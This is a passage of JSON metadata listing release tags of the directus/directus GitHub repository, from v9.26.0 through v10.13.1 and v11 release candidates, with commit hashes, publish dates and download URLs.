endencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.13.1/manifests"},{"name":"v10.13.0","sha":"844d4e7f336e02d5cd1881b7964625abe7ea8d43","kind":"commit","published_at":"2024-07-02T15:38:58.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.13.0","html_url":"https://github.com/directus/directus/releases/tag/v10.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.13.0/manifests"},{"name":"v11.0.0-rc.2","sha":"9237ed95d59e11bc86e9e870946f6cb9747a37f7","kind":"commit","published_at":"2024-06-21T11:32:33.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.0.0-rc.2","html_url":"https://github.com/directus/directus/releases/tag/v11.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.0.0-rc.2/manifests"},{"name":"v11.0.0-rc.1","sha":"f5b1c783d136a43d1a97b849ce7f26f9795466d6","kind":"commit","published_at":"2024-06-20T19:31:52.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.0.0-rc.1","html_url":"https://github.com/directus/directus/releases/tag/v11.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.0.0-rc.1/manifests"},{"name":"v10.12.1","sha":"3fec817d7bf262e1d02d7b46c12081dd734d3234","kind":"commit","published_at":"2024-06-10T15:16:51.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.12.1","html_url":"https://github.com/directus/directus/releases/tag/v10.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.12.1/manifests"},{"name":"v10.12.0","sha":"8b887c82091c1e625dad29b27bc05ff859304e7b","kind":"commit","published_at":"2024-06-04T15:33:24.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.12.0","html_url":"https://github.com/directus/directus/releases/tag/v10.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.12.0/manifests"},{"name":"v10.11.2","sha":"b7794870f525a2f0821ebd8e84c9bd861d7ff977","kind":"commit","published_at":"2024-05-28T17:01:27.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.11.2","html_url":"https://github.com/directus/directus/releases/tag/v10.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.11.2/manifests"},{"name":"10.11.2","sha":"b7794870f525a2f0821ebd8e84c9bd861d7ff977","kind":"commit","published_at":"2024-05-28T17:01:27.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/10.11.2","html_url":"https://github.com/directus/directus/releases/tag/10.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@10.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/10.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/10.11.2/manifests"},{"name":"v10.11.1","sha":"7b212f8f1e483300b136e27f69ea37628733734c","kind":"commit","published_at":"2024-05-21T16:51:19.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.11.1","html_url":"https://github.com/directus/directus/releases/tag/v10.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.11.1/manifests"},{"name":"v10.11.0","sha":"0d6c6b90b0cd89558572e6413206a75236a30cb2","kind":"commit","published_at":"2024-05-07T22:01:38.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.11.0","html_url":"https://github.com/directus/directus/releases/tag/v10.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.11.0/manifests"},{"name":"v10.10.7","sha":"98589cca6d23804c10e99293ea0c644cac3b9905","kind":"commit","published_at":"2024-04-17T21:09:17.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.10.7","html_url":"https://github.com/directus/directus/releases/tag/v10.10.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.10.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.7/manifests"},{"name":"v10.10.6","sha":"9aa4e703b21bf8261ec826ca422b0353488f5320","kind":"commit","published_at":"2024-04-17T15:37:11.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.10.6","html_url":"https://github.com/directus/directus/releases/tag/v10.10.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.10.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.6/manifests"},{"name":"v10.10.5","sha":"bd4b8b59498b75fa5f296c8b17f22acb5d80cf50","kind":"commit","published_at":"2024-04-03T19:47:12.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.10.5","html_url":"https://github.com/directus/directus/releases/tag/v10.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.5/manifests"},{"name":"v10.10.4","sha":"af2a79fbf3b06d8f5a7820b1b995db032093a1e1","kind":"commit","published_at":"2024-03-12T17:30:31.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.10.4","html_url":"https://github.com/directus/directus/releases/tag/v10.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.4/manifests"},{"name":"v10.10.3","sha":"c09ebbacd4b6da594b828e9f1a3eaec5db2c67ba","kind":"commit","published_at":"2024-03-11T21:29:21.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.10.3","html_url":"https://github.com/directus/directus/releases/tag/v10.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.3/manifests"},{"name":"v10.10.2","sha":"2e259d07cdb6a0a109b22110613fc7642bead540","kind":"commit","published_at":"2024-03-08T23:00:48.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.10.2","html_url":"https://github.com/directus/directus/releases/tag/v10.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.2/manifests"},{"name":"v10.10.1","sha":"7d50f764ea62619ec980aba6ef11b65b04194bcd","kind":"commit","published_at":"2024-03-06T22:27:08.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.10.1","html_url":"https://github.com/directus/directus/releases/tag/v10.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.1/manifests"},{"name":"v10.10.0","sha":"9d88df621fec13d88665b81c4335bd43b66abe4d","kind":"commit","published_at":"2024-03-05T21:45:58.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.10.0","html_url":"https://github.com/directus/directus/releases/tag/v10.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.10.0/manifests"},{"name":"v10.9.3","sha":"fd878f5dea48f2dbe22dd223c80505f3b1e86ea5","kind":"commit","published_at":"2024-02-23T18:18:38.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.9.3","html_url":"https://github.com/directus/directus/releases/tag/v10.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.9.3/manifests"},{"name":"v10.9.2","sha":"bad22bf1ff0db9c663fd108fc9fa59970048a40f","kind":"commit","published_at":"2024-02-14T16:21:02.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.9.2","html_url":"https://github.com/directus/directus/releases/tag/v10.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.9.2/manifests"},{"name":"v10.9.1","sha":"19598ebb28fb3e9ba0bfd62f8d5002a1e7161e13","kind":"commit","published_at":"2024-02-13T21:05:11.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.9.1","html_url":"https://github.com/directus/directus/releases/tag/v10.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.9.1/manifests"},{"name":"v10.9.0","sha":"d3874a8f1949831c4ca1ccf812ba59e1ba8f1be8","kind":"commit","published_at":"2024-02-06T19:29:32.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.9.0","html_url":"https://github.com/directus/directus/releases/tag/v10.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.9.0/manifests"},{"name":"v10.8.3","sha":"c45cd69dd723e0a536cab537aff117d5861868e7","kind":"commit","published_at":"2023-12-21T19:19:08.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.8.3","html_url":"https://github.com/directus/directus/releases/tag/v10.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.8.3/manifests"},{"name":"v10.8.2","sha":"afc4b23fc77d1cbc66d583521f0d172f61c5c745","kind":"commit","published_at":"2023-11-22T20:23:38.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.8.2","html_url":"https://github.com/directus/directus/releases/tag/v10.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.8.2/manifests"},{"name":"v10.8.1","sha":"be4410f948ee6522bb3e1cebcb665a2d80886465","kind":"commit","published_at":"2023-11-17T16:38:16.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.8.1","html_url":"https://github.com/directus/directus/releases/tag/v10.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.8.1/manifests"},{"name":"v10.8.0","sha":"7f5d690c4e1cf776e71375d8e2d1ecacf28dcb9b","kind":"commit","published_at":"2023-11-16T21:59:46.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.8.0","html_url":"https://github.com/directus/directus/releases/tag/v10.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.8.0/manifests"},{"name":"v10.7.2","sha":"d4e3ab2c0d760121a841881c84d9b6dd66e0a95f","kind":"commit","published_at":"2023-11-02T20:18:09.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.7.2","html_url":"https://github.com/directus/directus/releases/tag/v10.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.7.2/manifests"},{"name":"v10.7.1","sha":"dbc1f8095ec84b590ac0b127f3aa3bf8271251d7","kind":"commit","published_at":"2023-10-27T15:55:36.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.7.1","html_url":"https://github.com/directus/directus/releases/tag/v10.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.7.1/manifests"},{"name":"v10.7.0","sha":"9e5b9a78a73e74d3f3e5ae58a0faf8e6c39ac29e","kind":"commit","published_at":"2023-10-23T14:21:13.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.7.0","html_url":"https://github.com/directus/directus/releases/tag/v10.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.7.0/manifests"},{"name":"v10.6.4","sha":"e987c1990e720592750a53eb19f6c3252d98238f","kind":"commit","published_at":"2023-10-20T18:55:45.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.6.4","html_url":"https://github.com/directus/directus/releases/tag/v10.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.6.4/manifests"},{"name":"v10.6.3","sha":"926f19d3faa0a4792ed020c51a2e10cefa460359","kind":"commit","published_at":"2023-09-25T19:43:10.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.6.3","html_url":"https://github.com/directus/directus/releases/tag/v10.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.6.3/manifests"},{"name":"v10.6.2","sha":"e908db17b47ef6dbf79603a2044e2bb527cfdaa7","kind":"commit","published_at":"2023-09-19T17:28:29.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.6.2","html_url":"https://github.com/directus/directus/releases/tag/v10.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.6.2/manifests"},{"name":"v10.7.0-beta.0","sha":"d9769d95c33288759b1634e8240a785722794d41","kind":"commit","published_at":"2023-08-25T16:58:23.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.7.0-beta.0","html_url":"https://github.com/directus/directus/releases/tag/v10.7.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.7.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.7.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.7.0-beta.0/manifests"},{"name":"v10.6.1","sha":"1342d19a1e0cac4cb73186671b815a12fa062b66","kind":"commit","published_at":"2023-08-25T16:33:43.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.6.1","html_url":"https://github.com/directus/directus/releases/tag/v10.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.6.1/manifests"},{"name":"v10.6.0","sha":"3ec4009bb84a4db4beefb64603df9fc53d82d9e4","kind":"commit","published_at":"2023-08-25T15:42:24.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.6.0","html_url":"https://github.com/directus/directus/releases/tag/v10.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.6.0/manifests"},{"name":"v10.5.3","sha":"68ca1d309e2bd927832de6eb58fda33098c9ea81","kind":"commit","published_at":"2023-08-10T19:11:51.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.5.3","html_url":"https://github.com/directus/directus/releases/tag/v10.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.5.3/manifests"},{"name":"v10.5.2","sha":"e7013131913937b5bd6417b14b3487e782c863b2","kind":"commit","published_at":"2023-07-28T17:07:10.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.5.2","html_url":"https://github.com/directus/directus/releases/tag/v10.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.5.2/manifests"},{"name":"v10.5.1","sha":"f3d3ee12920f3b6dd3bbd8e2d47589e0eb426028","kind":"commit","published_at":"2023-07-26T14:34:54.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.5.1","html_url":"https://github.com/directus/directus/releases/tag/v10.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.5.1/manifests"},{"name":"v10.5.0","sha":"373cc9f4fa3a8ad8bff50d433a53e00945db56ea","kind":"commit","published_at":"2023-07-25T21:36:33.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.5.0","html_url":"https://github.com/directus/directus/releases/tag/v10.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.5.0/manifests"},{"name":"v10.4.3","sha":"d3c9de9dfbf8bba46a4c894b1a893809baf22b2d","kind":"commit","published_at":"2023-07-11T14:00:17.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.4.3","html_url":"https://github.com/directus/directus/releases/tag/v10.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.4.3/manifests"},{"name":"v10.4.2","sha":"55f3d4c6e0805fd62ad7203e109461a7fc3152c1","kind":"commit","published_at":"2023-06-30T15:42:11.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.4.2","html_url":"https://github.com/directus/directus/releases/tag/v10.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.4.2/manifests"},{"name":"v10.4.0","sha":"2239ef8db783b8a47b5eb98505720879cb8834da","kind":"commit","published_at":"2023-06-27T21:43:26.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.4.0","html_url":"https://github.com/directus/directus/releases/tag/v10.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.4.0/manifests"},{"name":"v10.3.0","sha":"c0cd7860b1e0d6491688462479ff3fe2106e98c7","kind":"commit","published_at":"2023-06-13T16:52:12.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.3.0","html_url":"https://github.com/directus/directus/releases/tag/v10.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.3.0/manifests"},{"name":"v10.2.1","sha":"619d1f5726b15ae71aaac5f35f5018092536a0ff","kind":"commit","published_at":"2023-05-26T18:21:39.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.2.1","html_url":"https://github.com/directus/directus/releases/tag/v10.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.2.1/manifests"},{"name":"v10.2.0","sha":"ca73cc976e81ebb7475202f22f0131b633b83ae6","kind":"commit","published_at":"2023-05-26T17:17:06.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.2.0","html_url":"https://github.com/directus/directus/releases/tag/v10.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.2.0/manifests"},{"name":"v10.1.1","sha":"fa8c91497836da307970037b6d1b1995804370c5","kind":"commit","published_at":"2023-05-16T18:03:02.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.1.1","html_url":"https://github.com/directus/directus/releases/tag/v10.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.1.1/manifests"},{"name":"v10.1.0","sha":"703c5d9c69f705bb600f11ac0a69a264b02afb64","kind":"commit","published_at":"2023-05-11T21:22:00.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.1.0","html_url":"https://github.com/directus/directus/releases/tag/v10.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.1.0/manifests"},{"name":"v10.0.0","sha":"2bc226d16f0f3bf48fa3c30b686342993180f699","kind":"commit","published_at":"2023-04-26T18:10:42.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.0.0","html_url":"https://github.com/directus/directus/releases/tag/v10.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.0.0/manifests"},{"name":"v9.26.0","sha":"381f1c9d8e6c1c799a19f34e12cbde88d525324a","kind":"commit","published_at":"2023-04-24T20:40:53.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.26.0","html_url":"https://github.com/directus/directus/releases/tag/v9.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.2